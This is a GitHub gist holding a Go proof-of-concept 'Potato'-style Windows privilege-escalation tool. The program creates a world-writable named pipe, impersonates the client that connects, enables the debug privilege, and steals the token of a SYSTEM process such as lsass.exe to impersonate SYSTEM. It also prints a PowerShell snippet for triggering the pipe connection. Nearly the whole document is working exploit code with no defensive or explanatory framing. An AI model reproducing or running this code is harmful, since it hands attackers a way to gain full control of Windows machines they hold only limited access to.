Last active
December 29, 2025 02:38
-
-
Save Ceald1/b035d11a30e614074ec828cd1623a8de to your computer and use it in GitHub Desktop.
Golang Potato POC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "syscall" | |
| "unsafe" | |
| "golang.org/x/sys/windows" | |
| ) | |
| const ( | |
| SeImpersonatePrivilege uint32 = 23 | |
| CREATE_NEW_CONSOLE = 0x00000010 | |
| PIPE_ACCESS_DUPLEX = 0x00000003 | |
| PIPE_TYPE_BYTE = 0x00000000 | |
| PIPE_READMODE_BYTE = 0x00000000 | |
| PIPE_WAIT = 0x00000000 | |
| PIPE_UNLIMITED_INSTANCES = 255 | |
| ServerPipe = "\\\\.\\pipe\\GoGod" | |
| ) | |
| var ( | |
| ntdll = windows.NewLazySystemDLL("ntdll.dll") | |
| advapi32 = windows.NewLazySystemDLL("Advapi32.dll") | |
| kernel32 = windows.NewLazySystemDLL("kernel32.dll") | |
| procRtlAdjustPrivilege = ntdll.NewProc("RtlAdjustPrivilege") | |
| procCreateNamedPipe = kernel32.NewProc("CreateNamedPipeW") | |
| procConnectNamedPipe = kernel32.NewProc("ConnectNamedPipe") | |
| procImpersonatePipe = advapi32.NewProc("ImpersonateNamedPipeClient") | |
| procConvertSecurityDesc = advapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW") | |
| procImpersonateLoggedOnUser = advapi32.NewProc("ImpersonateLoggedOnUser") | |
| procVirtualProtect = kernel32.NewProc("VirtualProtect") | |
| ) | |
| type SECURITY_ATTRIBUTES struct { | |
| nLength uint32 | |
| lpSecurityDescriptor uintptr | |
| bInheritHandle uint32 | |
| } | |
| func checkTokenType(token windows.Token) { | |
| var tokenType uint32 | |
| var outLen uint32 | |
| err := windows.GetTokenInformation( | |
| token, | |
| windows.TokenType, | |
| (*byte)(unsafe.Pointer(&tokenType)), | |
| uint32(unsafe.Sizeof(tokenType)), | |
| &outLen, | |
| ) | |
| if err != nil { | |
| fmt.Println("Error:", err) | |
| return | |
| } | |
| if tokenType == windows.TokenPrimary { | |
| fmt.Println("Token is PRIMARY") | |
| } else if tokenType == windows.TokenImpersonation { | |
| fmt.Println("Token is IMPERSONATION") | |
| } | |
| } | |
| func AdjustTokenPrivileges() error { | |
| var previousValue uint32 | |
| ret, _, _ := procRtlAdjustPrivilege.Call( | |
| uintptr(SeImpersonatePrivilege), | |
| uintptr(1), // Enable the privilege | |
| uintptr(0), // Adjust for the current process | |
| uintptr(unsafe.Pointer(&previousValue)), | |
| ) | |
| if ret != 0 { | |
| return fmt.Errorf("RtlAdjustPrivilege failed: 0x%x", ret) | |
| } | |
| return nil | |
| } | |
| func CreatePipeServer() (uintptr, error) { | |
| descriptorString := windows.StringToUTF16Ptr("D:(A;OICI;GA;;;WD)") | |
| var descriptor uintptr | |
| ret, _, err := procConvertSecurityDesc.Call( | |
| uintptr(unsafe.Pointer(descriptorString)), | |
| uintptr(1), | |
| uintptr(unsafe.Pointer(&descriptor)), | |
| 0, | |
| ) | |
| if ret == 0 { | |
| return 0, fmt.Errorf("error converting security descriptor: %v", err) | |
| } | |
| securityAttr := SECURITY_ATTRIBUTES{ | |
| lpSecurityDescriptor: descriptor, | |
| nLength: uint32(unsafe.Sizeof(SECURITY_ATTRIBUTES{})), | |
| bInheritHandle: 1, | |
| } | |
| pipeName := windows.StringToUTF16Ptr(ServerPipe) | |
| pipeHandle, _, err := procCreateNamedPipe.Call( | |
| uintptr(unsafe.Pointer(pipeName)), | |
| uintptr(PIPE_ACCESS_DUPLEX), | |
| uintptr(PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT), | |
| uintptr(PIPE_UNLIMITED_INSTANCES), | |
| uintptr(512), | |
| uintptr(0), // No in-buffer size | |
| 123, // Default timeout | |
| uintptr(unsafe.Pointer(&securityAttr)), | |
| ) | |
| if pipeHandle == 0 { | |
| return 0, fmt.Errorf("error creating pipe server: %v", err) | |
| } | |
| return pipeHandle, nil | |
| } | |
| func PrivilegeEscalationViaPipe() { | |
| fmt.Println("[*] Creating pipe server...") | |
| pipeHandle, err := CreatePipeServer() | |
| if err != nil { | |
| fmt.Printf("[!] Error: %v\n", err) | |
| return | |
| } | |
| defer windows.CloseHandle(windows.Handle(pipeHandle)) | |
| fmt.Println("[*] Pipe server created successfully!") | |
| fmt.Println("[*] Waiting for client connection...") | |
| fmt.Printf(`[*] Connect to the pipe using: | |
| $pipe = [System.IO.Pipes.NamedPipeClientStream]::new(".", "GoGod", [System.IO.Pipes.PipeDirection]::InOut) | |
| $pipe.Connect() | |
| $writer = New-Object System.IO.StreamWriter $pipe | |
| $writer.WriteLine("hello") | |
| $writer.Flush() | |
| Start-Sleep -Seconds 10 # Keep the connection open for 10 seconds | |
| $writer.Close() | |
| $pipe.Close() | |
| ` + "\n\n") | |
| ret, _, err := procConnectNamedPipe.Call(pipeHandle, 0) | |
| if ret == 0 { | |
| fmt.Printf("[!] Error connecting named pipe: %v\n", err) | |
| return | |
| } | |
| fmt.Println("[*] Client connected to the pipe!") | |
| // Perform a dummy read to satisfy the Windows API requirement | |
| var dummyBuffer [1]byte | |
| var bytesRead uint32 | |
| err = windows.ReadFile(windows.Handle(pipeHandle), dummyBuffer[:], &bytesRead, nil) | |
| if err != nil { | |
| if err == syscall.ERROR_BROKEN_PIPE { | |
| fmt.Println("[!] Client disconnected before reading data. Proceeding with impersonation...") | |
| } else if err != syscall.ERROR_MORE_DATA { | |
| fmt.Printf("[!] Error reading from pipe: %v\n", err) | |
| return | |
| } | |
| } else { | |
| fmt.Println("[*] Dummy read completed to enable impersonation.") | |
| } | |
| fmt.Println("[*] Attempting to impersonate named pipe client...") | |
| ret, _, err = procImpersonatePipe.Call(pipeHandle) | |
| if ret == 0 { | |
| fmt.Printf("[!] Error impersonating named pipe client: %v\n", err) | |
| return | |
| } | |
| fmt.Println("[*] Successfully impersonated the named pipe client!") | |
| var token windows.Token | |
| err = windows.OpenThreadToken(windows.CurrentThread(), windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, true, &token) | |
| if err != nil { | |
| fmt.Printf("[!] Error retrieving impersonation token: %v\n", err) | |
| return | |
| } | |
| defer token.Close() | |
| user, err := token.GetTokenUser() | |
| if err != nil { | |
| fmt.Printf("[!] Error retrieving token user: %v\n", err) | |
| return | |
| } | |
| fmt.Printf("[*] Impersonated User SID: %s\n", user.User.Sid.String()) | |
| fmt.Println("[*] Duplicating token for system access...") | |
| var duplicatedToken windows.Token | |
| err = windows.DuplicateTokenEx(token, windows.TOKEN_ALL_ACCESS, nil, windows.SecurityImpersonation, windows.TokenPrimary, &duplicatedToken) | |
| if err != nil { | |
| token.Close() | |
| fmt.Printf("DuplicateTokenEx failed: %v", err) | |
| return | |
| } | |
| token.Close() | |
| fmt.Println("[*] Successfully duplicated token for system access!") | |
| ret, _, err = procImpersonateLoggedOnUser.Call(uintptr(duplicatedToken)) | |
| if ret == 0 { | |
| fmt.Printf("[!] Error injecting token: %v\n", err) | |
| return | |
| } | |
| // Adjust token privileges | |
| var previousValue uint32 | |
| ret, _, err = procRtlAdjustPrivilege.Call( | |
| uintptr(20), // debug | |
| uintptr(1), // Enable the privilege | |
| uintptr(0), // Adjust for the current process | |
| uintptr(unsafe.Pointer(&previousValue)), | |
| ) | |
| if ret == 0 { | |
| fmt.Printf("[!] Error injecting token: %v\n", err) | |
| return | |
| } | |
| // get System | |
| procHandle, err := findSystemProcess() | |
| if err != nil { | |
| fmt.Printf("Error getting system process: %s\n", err) | |
| } | |
| err = windows.OpenProcessToken(*procHandle, windows.TOKEN_DUPLICATE|windows.TOKEN_QUERY, &token) | |
| err = windows.DuplicateTokenEx(token, windows.TOKEN_ALL_ACCESS, nil, windows.SecurityImpersonation, windows.TokenPrimary, &duplicatedToken) | |
| if err != nil { | |
| token.Close() | |
| fmt.Printf("DuplicateTokenEx failed: %v", err) | |
| return | |
| } | |
| defer token.Close() | |
| fmt.Println("[*] Successfully duplicated system token!") | |
| ret, _, err = procImpersonateLoggedOnUser.Call(uintptr(duplicatedToken)) | |
| if ret == 0 { | |
| fmt.Printf("[!] Error injecting token: %v\n", err) | |
| return | |
| } | |
| fmt.Println("Impersonated system!") | |
| tokenUser, _ := duplicatedToken.GetTokenUser() | |
| fmt.Println("[*] Successfully impersonated logged-on user!") | |
| fmt.Printf("New SID: %s", tokenUser.User.Sid.String()) | |
| } | |
| func findSystemProcess() (*windows.Handle, error) { | |
| h, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) | |
| if err != nil { | |
| return nil, fmt.Errorf("CreateToolhelp32Snapshot failed: %v", err) | |
| } | |
| defer windows.CloseHandle(h) | |
| var pe windows.ProcessEntry32 | |
| pe.Size = uint32(unsafe.Sizeof(pe)) | |
| if err = windows.Process32First(h, &pe); err != nil { | |
| return nil, fmt.Errorf("Process32First failed: %v", err) | |
| } | |
| systemProcesses := []string{"lsass.exe", "winlogon.exe", "services.exe"} | |
| for { | |
| name := windows.UTF16ToString(pe.ExeFile[:]) | |
| for _, procName := range systemProcesses { | |
| if name == procName { | |
| handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, false, pe.ProcessID) | |
| if err != nil { | |
| return nil, fmt.Errorf("OpenProcess failed for %s: %v", procName, err) | |
| } | |
| return &handle, nil | |
| } | |
| } | |
| err = windows.Process32Next(h, &pe) | |
| if err != nil { | |
| if err == syscall.ERROR_NO_MORE_FILES { | |
| break | |
| } | |
| return nil, fmt.Errorf("Process32Next failed: %v", err) | |
| } | |
| } | |
| return nil, fmt.Errorf("No suitable system process found") | |
| } | |
| func main() { | |
| fmt.Println("[*] Adjusting token privileges...") | |
| err := AdjustTokenPrivileges() | |
| if err != nil { | |
| fmt.Printf("[!] Error: %v\n", err) | |
| return | |
| } | |
| fmt.Println("[*] Token privileges adjusted successfully!") | |
| PrivilegeEscalationViaPipe() | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment